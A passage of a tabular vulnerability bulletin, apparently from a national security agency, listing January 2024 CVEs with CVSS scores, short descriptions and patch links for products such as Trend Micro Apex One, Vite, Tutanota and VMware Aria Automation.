Resolution Before File Access ('Link Following')			following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52091**	/dcx/s/solution/000296151?language=en_US	
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	A security agent link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52092**	https://success.trendmicro.com/dcx/s/solution/000296151?language=en_US	A-TRE-APEX-140224/1199
N/A	23-Jan-2024	7.8	An exposed dangerous function	https://success.trendmicro.com	A-TRE-APEX-140224/1200

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability in the Trend Micro Apex One agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52093**	/dcx/s/solution/000296151?language=en_US	
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	An updater link following vulnerability in the Trend Micro Apex One agent could allow a local attacker to abuse the updater to delete an arbitrary folder, leading for a local privilege escalation on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	https://success.trendmicro.com/dcx/s/solution/000296151?language=en_US	A-TRE-APEX-140224/1201

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52094		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	A cross-site scripting vulnerability in Trend Micro Apex Central could allow a remote attacker to execute arbitrary code on affected installations of Trend Micro Apex Central. Please note: user interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. **CVE ID : CVE-2023-52330**	https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US	A-TRE-APEX-140224/1202
Product: deep_security					
Affected Version(s): 20.0					
N/A	23-Jan-2024	7.8	An improper access control vulnerability in Trend Micro Deep Security 20.0 and Trend Micro Cloud One - Endpoint and Workload Security Agent could allow a local attacker to escalate privileges on affected installations.	https://success.trendmicro.com/dcx/s/solution/000296337?language=en_US	A-TRE-DEEP-140224/1203

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52337**		
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	A link following vulnerability in the Trend Micro Deep Security 20.0 and Trend Micro Cloud One - Endpoint and Workload Security Agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52338**	https://success.trendmicro.com/dcx/s/solution/000296337?language=en_US	A-TRE-DEEP-140224/1204
Product: deep_security_agent					
Affected Version(s): 20.0					
N/A	23-Jan-2024	7.8	An improper access control vulnerability in Trend Micro Deep Security 20.0 and	https://success.trendmicro.com/dcx/s/solution/000296337?language=en_US	A-TRE-DEEP-140224/1205

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Trend Micro Cloud One - Endpoint and Workload Security Agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52337**		
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	A link following vulnerability in the Trend Micro Deep Security 20.0 and Trend Micro Cloud One - Endpoint and Workload Security Agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	https://success.trendmicro.com/dcx/s/solution/000296337?language=en_US	A-TRE-DEEP-140224/1206

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52338		
Product: mobile_security					
Affected Version(s): 9.8					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Reflected cross-site scripting (XSS) vulnerabilities in Trend Micro Mobile Security (Enterprise) could allow an exploit against an authenticated victim that visits a malicious link provided by an attacker. Please note, this vulnerability is similar to, but not identical to, CVE-2023-41177. **CVE ID : CVE-2023-41176**	https://success.trendmicro.com/dcx/s/solution/000294695?language=en_US	A-TRE-MOBI-140224/1207
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Reflected cross-site scripting (XSS) vulnerabilities in Trend Micro Mobile Security (Enterprise) could allow an exploit against an authenticated victim that visits a malicious link provided by an attacker. Please note, this vulnerability is	https://success.trendmicro.com/dcx/s/solution/000294695?language=en_US	A-TRE-MOBI-140224/1208

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			similar to, but not identical to, CVE-2023-41178. **CVE ID : CVE-2023-41177**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Reflected cross-site scripting (XSS) vulnerabilities in Trend Micro Mobile Security (Enterprise) could allow an exploit against an authenticated victim that visits a malicious link provided by an attacker. Please note, this vulnerability is similar to, but not identical to, CVE-2023-41176. **CVE ID : CVE-2023-41178**	https://success.trendmicro.com/dcx/s/solution/000294695?language=en_US	A-TRE-MOBI-140224/1209
Vendor: Tribulant					
Product: newsletters					
Affected Version(s): * Up to (excluding) 4.9.3					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	16-Jan-2024	7.2	The Newsletters WordPress plugin before 4.9.3 does not properly escape user-controlled parameters when they are appended to SQL queries and shell commands, which could enable an administrator to	N/A	A-TRI-NEWS-140224/1210

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			run arbitrary commands on the server. **CVE ID : CVE-2023-4797**		
Vendor: trillium					
Product: trillium					
Affected Version(s): * Up to (excluding) 0.5.4					
Interpretation Conflict	24-Jan-2024	8.1	Trillium is a composable toolkit for building internet applications with async rust. In `trillium-http` prior to 0.3.12 and `trillium-client` prior to 0.5.4, insufficient validation of outbound header values may lead to request splitting or response splitting attacks in scenarios where attackers have sufficient control over headers. This only affects use cases where attackers have control of request headers, and can insert "\r\n" sequences. Specifically, if untrusted and unvalidated input is inserted into header names or values.	https://github.com/trillium-rs/trillium/commit/16a42b3f8378a3fa4e61ece3e3e37e6a530df51d, https://github.com/trillium-rs/trillium/commit/8d468f85e27b8d0943d6f43ce9f8c7397141a999	A-TRI-TRIL-140224/1211

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Outbound `trillium_http::HeaderValue` and `trillium_http::HeaderName` can be constructed infallibly and were not checked for illegal bytes when sending requests from the client or responses from the server. Thus, if an attacker has sufficient control over header values (or names) in a request or response that they could inject `\r\n` sequences, they could get the client and server out of sync, and then pivot to gain control over other parts of requests or responses. (i.e. exfiltrating data from other requests, SSRF, etc.) In `trillium-http` versions 0.3.12 and later, if a header name is invalid in server response headers, the specific header and any associated values are omitted from network		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			transmission. Additionally, if a header value is invalid in server response headers, the individual header value is omitted from network transmission. Other headers values with the same header name will still be sent. In `trillium-client` versions 0.5.4 and later, if any header name or header value is invalid in the client request headers, awaiting the client Conn returns an `Error::Malformed Header` prior to any network access. As a workaround, Trillium services and client applications should sanitize or validate untrusted input that is included in header values and header names. Carriage return, newline, and null characters are not allowed. **CVE ID : CVE-2024-23644**		
Product: trillium-http					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): * Up to (excluding) 0.3.12					
Interpretation Conflict	24-Jan-2024	8.1	Trillium is a composable toolkit for building internet applications with async rust. In `trillium-http` prior to 0.3.12 and `trillium-client` prior to 0.5.4, insufficient validation of outbound header values may lead to request splitting or response splitting attacks in scenarios where attackers have sufficient control over headers. This only affects use cases where attackers have control of request headers, and can insert "\r\n" sequences. Specifically, if untrusted and unvalidated input is inserted into header names or values. Outbound `trillium_http::HeaderValue` and `trillium_http::HeaderName` can be constructed infallibly and were not checked for	https://github.com/trillium-rs/trillium/commit/16a42b3f8378a3fa4e61ece3e3e37e6a530df51d, https://github.com/trillium-rs/trillium/commit/8d468f85e27b8d0943d6f43ce9f8c7397141a999	A-TRI-TRIL-140224/1212

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			illegal bytes when sending requests from the client or responses from the server. Thus, if an attacker has sufficient control over header values (or names) in a request or response that they could inject `\r\n` sequences, they could get the client and server out of sync, and then pivot to gain control over other parts of requests or responses. (i.e. exfiltrating data from other requests, SSRF, etc.) In `trillium-http` versions 0.3.12 and later, if a header name is invalid in server response headers, the specific header and any associated values are omitted from network transmission. Additionally, if a header value is invalid in server response headers, the individual header value is omitted from		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			network transmission. Other headers values with the same header name will still be sent. In `trillium-client` versions 0.5.4 and later, if any header name or header value is invalid in the client request headers, awaiting the client Conn returns an `Error::Malformed Header` prior to any network access. As a workaround, Trillium services and client applications should sanitize or validate untrusted input that is included in header values and header names. Carriage return, newline, and null characters are not allowed. **CVE ID : CVE-2024-23644**		
Vendor: tuta					
Product: tutanota					
Affected Version(s): * Up to (excluding) 119.10					
Server-Side Request Forgery (SSRF)	23-Jan-2024	5.3	Tuta is an encrypted email service. In versions prior to 119.10, an attacker can attach	N/A	A-TUT-TUTA-140224/1213

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			an image in a html mail which is loaded from external resource in the default setting, which should prevent loading of external resources. When displaying emails containing external content, they should be loaded by default only after confirmation by the user. However, it could be recognized that certain embedded images (see PoC) are loaded, even though the "Automatic Reloading of Images" function is disabled by default. The reloading is also done unencrypted via HTTP and redirections are followed. This behavior is unexpected for the user, since the user assumes that external content will only be loaded after explicit manual confirmation. The loading of external content in e-mails represents a risk,		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			because this makes the sender aware that the e-mail address is used, when the e-mail was read, which device is used and expose the user's IP address. Version 119.10 contains a patch for this issue. **CVE ID : CVE-2024-23330**		
Affected Version(s): From (including) 3.118.12 Up to (excluding) 3.119.10					
N/A	25-Jan-2024	5.3	Tuta is an encrypted email service. Starting in version 3.118.12 and prior to version 3.119.10, an attacker is able to send a manipulated email so that the user can no longer use the app to get access to received emails. By sending a manipulated email, an attacker could put the app into an unusable state. In this case, a user can no longer access received e-mails. Since the vulnerability affects not only the app, but also the web application, a user in this case has no way to access received	https://github.com/tutao/tutanota/security/advisories/GHSA-5h47-g927-629g	A-TUT-TUTA-140224/1214

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			emails. This issue was tested with iOS and the web app, but it is possible all clients are affected. Version 3.119.10 fixes this issue. **CVE ID : CVE-2024-23655**		
Vendor: tychesoftwares					
Product: print_invoice_\&_delivery_notes_for_woocommerce					
Affected Version(s): * Up to (excluding) 4.7.2					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	6.1	The Print Invoice & Delivery Notes for WooCommerce WordPress plugin before 4.7.2 is vulnerable to reflected XSS by echoing a GET value in an admin note within the WooCommerce orders page. This means that this vulnerability can be exploited for users with the edit_others_shop_orders capability. WooCommerce must be installed and active. This vulnerability is caused by a urldecode() after cleanup with esc_url_raw(), allowing double encoding. **CVE ID : CVE-2023-0479**	N/A	A-TYC-PRIN-140224/1215

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: ujcms					
Product: jspxcms					
Affected Version(s): 10.2.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	A vulnerability was found in Jspxcms 10.2.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file src\main\java\com\jspxcms\core\web\back\InfoController.java of the component Document Management Page. The manipulation of the argument title leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-250837 was assigned to this vulnerability. **CVE ID : CVE-2024-0599**	N/A	A-UJC-JSPX-140224/1216
Vendor: ukrsolution					
Product: barcode_scanner_and_inventory_manager					
Affected Version(s): * Up to (excluding) 1.5.2					
Unrestricted Upload of	24-Jan-2024	9.8	Unrestricted Upload of File with	N/A	A-UKR-BARC-140224/1217

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
File with Dangerous Type			Dangerous Type vulnerability in UkrSolution Barcode Scanner and Inventory manager.This issue affects Barcode Scanner and Inventory manager: from n/a through 1.5.1. **CVE ID : CVE-2023-52221**		
Vendor: unalignedcode					
Product: autotitle					
Affected Version(s): * Up to (including) 1.0.3					
Cross-Site Request Forgery (CSRF)	29-Jan-2024	8.8	The Autotitle for WordPress plugin through 1.0.3 does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack. **CVE ID : CVE-2023-6946**	N/A	A-UNA-AUTO-140224/1218
Vendor: unihost					
Product: confirm_data					
Affected Version(s): * Up to (including) 1.0.7					
Server-Side Request Forgery (SSRF)	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in Montonio	N/A	A-UNI-CONF-140224/1219

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: uniswapfrontrunbot_project					
Product: uniswapfrontrunbot					
Affected Version(s): -					
N/A	19-Jan-2024	7.5	A vulnerability in UniswapFrontRunBot 0xdB94c allows attackers to cause financial losses via unspecified vectors. **CVE ID : CVE-2023-47034**	N/A	A-UNI-UNIS-140224/1220
Vendor: unix4lyfe					
Product: darkhttpd					
Affected Version(s): * Up to (excluding) 1.15					
Observable Discrepancy	22-Jan-2024	9.8	darkhttpd before 1.15 uses strcmp (which is not constant time) to verify authentication, which makes it easier for remote attackers to bypass authentication via a timing side channel. **CVE ID : CVE-2024-23771**	https://github.com/emikulic/darkhttpd/commit/f477619d49f3c4de9ad59bd194265a48ddc03f04	A-UNI-DARK-140224/1221
Affected Version(s): * Up to (including) 1.15					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	22-Jan-2024	5.5	darkhttpd through 1.15 allows local users to discover credentials (for --auth) by listing processes and their arguments. **CVE ID : CVE-2024-23770**	https://github.com/emikulic/darkhttpd/commit/2b339828b2a42a5fda105ea84934957a7d23e35d, https://github.com/emikulic/darkhttpd/compare/v1.14...v1.15	A-UNI-DARK-140224/1222
Vendor: usabilitydynamics					
Product: wp-invoice					
Affected Version(s): * Up to (including) 4.3.1					
Cross-Site Request Forgery (CSRF)	16-Jan-2024	6.1	The WP-Invoice WordPress plugin through 4.3.1 does not have CSRF check in place when updating its settings, and is lacking sanitisation as well as escaping in some of them, allowing attacker to make a logged in admin change them and add XSS payload in them **CVE ID : CVE-2022-1617**	N/A	A-USA-WP-I-140224/1223
Vendor: ushainformatique					
Product: whatacart					
Affected Version(s): 2.0.7					
Improper Neutralization of Input During Web Page	26-Jan-2024	6.1	WhatACart v2.0.7 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the component	N/A	A-USH-WHAT-140224/1224

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation ('Cross-site Scripting')			/site/default/search. **CVE ID : CVE-2024-22551**		
Vendor: vanderschaarlab					
Product: temporai					
Affected Version(s): 0.0.3					
Deserialization of Untrusted Data	26-Jan-2024	8.8	A vulnerability classified as critical was found in van_der_Schaar LAB TemporAI 0.0.3. Affected by this vulnerability is the function load_from_file of the component PKL File Handler. The manipulation leads to deserialization. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252181 was assigned to this vulnerability. NOTE: The vendor was contacted early and confirmed immediately the existence of the issue. A patch is planned to be released in February 2024. **CVE ID : CVE-2024-0936**	N/A	A-VAN-TEMP-140224/1225

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 0.2.9					
Deserialization of Untrusted Data	26-Jan-2024	9.8	A vulnerability, which was classified as critical, has been found in van_der_Schaar LAB synthcity 0.2.9. Affected by this issue is the function load_from_file of the component PKL File Handler. The manipulation leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252182 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early and confirmed immediately the existence of the issue. A patch is planned to be released in February 2024. **CVE ID : CVE-2024-0937**	N/A	A-VAN-TEMP-140224/1226
Vendor: vektor-inc					
Product: vk_block_patterns					
Affected Version(s): * Up to (including) 1.31.1.1					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Cross-Site Request Forgery (CSRF)	20-Jan-2024	4.3	The VK Block Patterns plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.31.1.1. This is due to missing or incorrect nonce validation on the vbp_clear_patterns_cache() function. This makes it possible for unauthenticated attackers to clear the patterns cache via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. **CVE ID : CVE-2024-0623**	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3023842%40vk-block-patterns&new=3023842%40vk-block-patterns&sfp_email=&sfph_mail=	A-VEK-VK_B-140224/1227
Vendor: vitejs					
Product: vite					
Affected Version(s): From (including) 2.7.0 Up to (excluding) 2.9.17					
Improper Handling of Case Sensitivity	19-Jan-2024	7.5	Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of	https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5, https://github.com/vitejs/vite/security/advisories/GHSA-	A-VIT-VITE-140224/1228

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict access to dev servers. **CVE ID : CVE-2024-23331**	c24v-8rfc-w8vw	
Affected Version(s): From (including) 3.0.0 Up to (excluding) 3.2.8					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Handling of Case Sensitivity	19-Jan-2024	7.5	Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users	https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5, https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw	A-VIT-VITE-140224/1229

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			are advised to upgrade. Users unable to upgrade should restrict access to dev servers. **CVE ID : CVE-2024-23331**		
Affected Version(s): From (including) 4.0.0 Up to (excluding) 4.5.2					
Improper Handling of Case Sensitivity	19-Jan-2024	7.5	Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher	https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5, https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw	A-VIT-VITE-140224/1230

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict access to dev servers. **CVE ID : CVE-2024-23331**		
Affected Version(s): From (including) 5.0.0 Up to (excluding) 5.0.12					
Improper Handling of Case Sensitivity	19-Jan-2024	7.5	Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-	https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5, https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw	A-VIT-VITE-140224/1231

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict access to dev servers. **CVE ID : CVE-2024-23331**		
Vendor: Vmware					
Product: aria_automation					
Affected Version(s): 8.11.0					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1232

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**		
Affected Version(s): 8.11.1					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1233
Affected Version(s): 8.11.2					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability.	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1234

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**		
Affected Version(s): 8.12.0					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1235
Affected Version(s): 8.12.1					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1236
Affected Version(s): 8.12.2					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows.	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1237

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-34063		
Affected Version(s): 8.13.0					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1238
Affected Version(s): 8.13.1					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1239

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**		
Affected Version(s): 8.14.0					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1240
Affected Version(s): 8.14.1					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability.	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-ARIA-140224/1241

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**		
Product: cloud_foundation					
Affected Version(s): 5.0					
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-CLOU-140224/1242
Affected Version(s): 4.0					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Authorization	16-Jan-2024	8.3	Aria Automation contains a Missing Access Control vulnerability. An authenticated malicious actor may exploit this vulnerability leading to unauthorized access to remote organizations and workflows. **CVE ID : CVE-2023-34063**	https://www.vmware.com/security/advisories/VMSA-2024-0001.html	A-VMW-CLOU-140224/1243
Product: spring_framework					
Affected Version(s): 6.0.15					
N/A	22-Jan-2024	7.5	In Spring Framework versions 6.0.15 and 6.1.2, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition. Specifically, an application is vulnerable when all of the following are true:	https://spring.io/security/cve-2024-22233/	A-VMW-SPRI-140224/1244

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* the application uses Spring MVC * Spring Security 6.1.6+ or 6.2.1+ is on the classpath Typically, Spring Boot applications need the org.springframework.boot:spring-boot-starter-web and org.springframework.boot:spring-boot-starter-security dependencies to meet all conditions. **CVE ID : CVE-2024-22233**		
Affected Version(s): 6.1.2					
N/A	22-Jan-2024	7.5	In Spring Framework versions 6.0.15 and 6.1.2, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition.	https://spring.io/security/cve-2024-22233/	A-VMW-SPRI-140224/1245

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Specifically, an application is vulnerable when all of the following are true: * the application uses Spring MVC * Spring Security 6.1.6+ or 6.2.1+ is on the classpath Typically, Spring Boot applications need the org.springframework.boot:spring-boot-starter-web and org.springframework.boot:spring-boot-starter-security dependencies to meet all conditions. **CVE ID : CVE-2024-22233**		
Vendor: vyperlang					
Product: vyper					
Affected Version(s): * Up to (including) 0.3.10					
Out-of-bounds Write	18-Jan-2024	9.8	Vyper is a Pythonic Smart Contract Language for the Ethereum Virtual Machine. The	https://github.com/vyperlang/vyper/commit/55e18f6d128b2da8986adbbccc	A-VYP-VYPE-140224/1246

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
